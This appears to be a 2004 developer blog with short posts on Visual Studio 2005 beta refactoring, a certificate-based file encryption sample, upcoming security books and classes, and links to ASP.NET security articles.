The System.Net.NetworkInformation namespace provides access to network traffic data, network address information, and notification of address changes for the local computer. The namespace also contains classes that implement the Ping utility. You can use Ping and related classes to check whether a computer is reachable across the network.

Friday, July 30, 2004 11:53:40 AM UTC     

lately i have been playing around with VS.NET 2005 Beta 1 - and i must say : i love it. One day with the new IDE and you don't want to go back in time to 2003 :)

While coding the new Crypter sample with the new X509 classes i experimented a little bit with the refactoring support. i especially liked "Generate Method Stub". Never heard of "Intentional Programming" before - but this seems to be my way :)

Some examples:

static void Main(string[] args)
{
  string user = getUser();
}

Right Click on getUser() -> Generate Method Stub - and voila

private static string getUser()
{
  throw new NotImplementedException();
}

nice and static.

another one i liked:

Lib lib = new Lib();
string user = lib.GetUser();

click. VS now adds the GetUser Method to the referenced class. nice.

internal string GetUser()
{
  throw new NotImplementedException();
}

this one rocked my world:

public string[] AddUser(string UserName, string Password)
{
  // Add the User and return all Users
  return GetUsers();
}

click on GetUsers() and you get

private string[] GetUsers()
{
  throw new NotImplementedException();
}

nice work VS.NET Team!

Wednesday, July 28, 2004 7:12:00 AM UTC     

My Co-Workers here at ERNW are currently working on a book on penetration testing for the german Vieweg Verlag.

Expect some wisdom and insight from Enno Rey and our CHO (Chief Hacking Officer) Michael Thumann.

I will throw in some stuff, too - mainly on windows and web security.

Monday, July 26, 2004 7:46:47 PM UTC     

CrypterPK uses the new Whidbey X509Store and X509CertificateEx classes to encrypt/decrypt files.

You can choose certificates from the Windows Certificate Store (MY and AddressBook) to encrypt the file. You can even choose multiple certificates. just like in PGP.

I think that's a feature that was missing in EFS. Who wants to write a shell extension for this ?

Compiled against Visual Studio 2005 Beta 1 but should be trivial to backport to .NET 1.1 and CAPICOM. CrypterPK.zip (46,24 KB)

Sunday, July 25, 2004 4:30:22 PM UTC     

Recently some excellent posts on running as Non Admin showed up on aaron magosis' blog.

His newest toy is a toolbar for Internet Explorer which shows you under what account and security context IE is running (user/admin/power user). If you click on the user name you get all group memberships and privileges.

this is way cool.

Sunday, July 25, 2004 9:40:17 AM UTC     

www.dotnet2themax.com has web app where you can browse all the assemblies from the .net framework and see what is added and changed in the current whidbey beta...very cool.

Saturday, July 24, 2004 12:22:07 PM UTC     

i always loved Outlook - but searching in Outlook sucks.

Microsoft bought a tool called LookOut to index your folders and to do a *fast* search over *all* folders!!!

rocks!

Saturday, July 24, 2004 9:22:46 AM UTC     

Fellow DMers Bob Beauchemin, Niels Berglund and Dan Sullivan have their book on SQL Server 2005 (the database formerly known as yukon) out.

Highly Recommendend! I still thinks that Bob's "Essential ADO.NET" is THE book to have if you are working with .NET and Databases.

Saturday, July 24, 2004 8:20:39 AM UTC     

Jeff Prosise wrote a nice article on msdn mag about making it harder to hijack asp.net session.

i am a little bit worried about performance - but hey - you can't have everything :)

Wednesday, July 21, 2004 5:17:21 PM UTC     

now that it's official...

starting in october, i will teach the Essential .NET Security class for DevelopMentor UK.

looking forward to it ;)

Wednesday, July 21, 2004 6:16:41 AM UTC     

Hi,

there's a nice collection of asp.net security related articles in the ms knowledge base.

Saturday, July 17, 2004 9:03:33 AM UTC